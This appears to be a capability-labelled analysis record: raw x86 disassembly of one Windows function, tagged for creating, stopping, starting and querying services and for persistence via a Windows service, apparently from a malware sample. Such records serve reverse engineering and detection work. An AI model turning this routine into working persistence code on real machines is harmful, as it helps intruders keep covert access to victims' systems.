Function at 0x401626
Capabilities:
Create service
Persist via windows service
Query or enumerate registry value
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6f8
and dword [ebp - 0x20], 0
and dword [ebp - 0x3c], 0
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
and dword [ebp - 0x34], 0
and dword [ebp - 0x24], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x18], 0
and dword [ebp - 0x30], 0
and dword [ebp - 0x38], 0
and dword [ebp - 4], 0
and dword [ebp - 0x28], 0
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x14], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x10], eax
push 0x40d3c4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x30], eax
push dword [0x412fb0]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x38], eax
push 0
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0
call fcn.00401198
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x30], 0
je 0x4016ca
cmp dword [0x4131dc], 5
ja 0x4016ca
cmp dword [ebp + 8], 1
jne 0x4016d4
jmp 0x40186a
push 5
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
and dword [ebp - 0x2c], 0
and dword [ebp - 0x444], 0
jmp 0x4016fc
mov eax, dword [ebp - 0x444]
inc eax
mov dword [ebp - 0x444], eax
push dword [ebp - 0x444]
push 0
push 0x40
lea eax, [ebp - 0x488]
push eax
call fcn.00402bb8
cmp eax, 0xffffffff
jne 0x401732
cmp dword [ebp - 0x2c], 0
jne 0x40172d
mov dword [ebp - 0x2c], 1
or dword [ebp - 0x444], 0xffffffff
jmp 0x4016ef
jmp 0x40186a
push dword [ebp - 0x444]
push 1
push 0x40
lea eax, [ebp - 0x4c8]
push eax
call fcn.00402bb8
push 0x104
push 0
lea eax, [ebp - 0x5f0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x4c8]
push eax
push 0x4130d0
push 0x40d3d0
lea eax, [ebp - 0x5f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x4133a0
lea eax, [ebp - 0x4c8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40179a
jmp 0x4016ef
push 0xf01ff
lea eax, [ebp - 0x488]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x4017bd
jmp 0x4016ef
push 0x1c
push 0
lea eax, [ebp - 0x4e4]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x4e4]
push eax
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x4e0], 1
je 0x40180d
cmp dword [ebp - 0x2c], 0
jne 0x4017f3
jmp 0x40185c
lea eax, [ebp - 0x4e4]
push eax
push 1
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x40180d
jmp 0x40185c
push dword [ebp - 8]
push dword [ebp - 0x34]
push dword [ebp - 0x3c]
lea eax, [ebp - 0x5f0]
push eax
call fcn.004013b3
test eax, eax
jne 0x40182a
jmp 0x40185c
push 0
push 0
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
cmp eax, 1
jne 0x40185c
push 0xfa0
push dword [ebp - 0x38]
call dword [ebp - 0x14]
test eax, eax
jne 0x40185c
mov dword [ebp - 0x20], 1
jmp 0x4019ec
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x4016ef
push 0x400
push 0
lea eax, [ebp - 0x440]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40d3dc
push dword [0x410b80]
push 0x40d3a4
lea eax, [ebp - 0x440]
push eax
call dword [ebp - 0x10]
add esp, 0x10
lea eax, [ebp - 0x18]
push eax
push 1
push 0
lea eax, [ebp - 0x440]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x1c], 0x400
push 0x400
push 0
lea eax, [ebp - 0x440]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x24]
push eax
push 0
push 0x40d3e4
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x440]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movsx eax, byte [eax]
test eax, eax
je 0x4019ec
push 0x4133a0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401927
jmp 0x401905
push 0
push 0
push 0
push 0
push 0
push 0x40d3ec
push 1
push 2
push 0x20
push 0x10
push dword [ebp - 0xc]
push dword [ebp - 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x4019cb
push dword [ebp - 0xc]
push 0x4130d0
push 0x40d3d0
lea eax, [ebp - 0x6f8]
push eax
call dword [ebp - 0x10]
add esp, 0x10
lea eax, [ebp - 0x6f8]
push eax
push dword [ebp - 0xc]
call fcn.00401575
push dword [ebp - 8]
push dword [ebp - 0x34]
push dword [ebp - 0x3c]
lea eax, [ebp - 0x6f8]
push eax
call fcn.004013b3
test eax, eax
jne 0x40199c
jmp 0x4019cb
push 0
push 0
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
cmp eax, 1
jne 0x4019cb
push 0xfa0
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4019cb
mov dword [ebp - 0x20], 1
jmp 0x4019ec
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0xc]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0xc], eax
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x401905
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 0x3c], 0
je 0x401a1d
push 0x8000
push 0
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x20]
leave
ret 4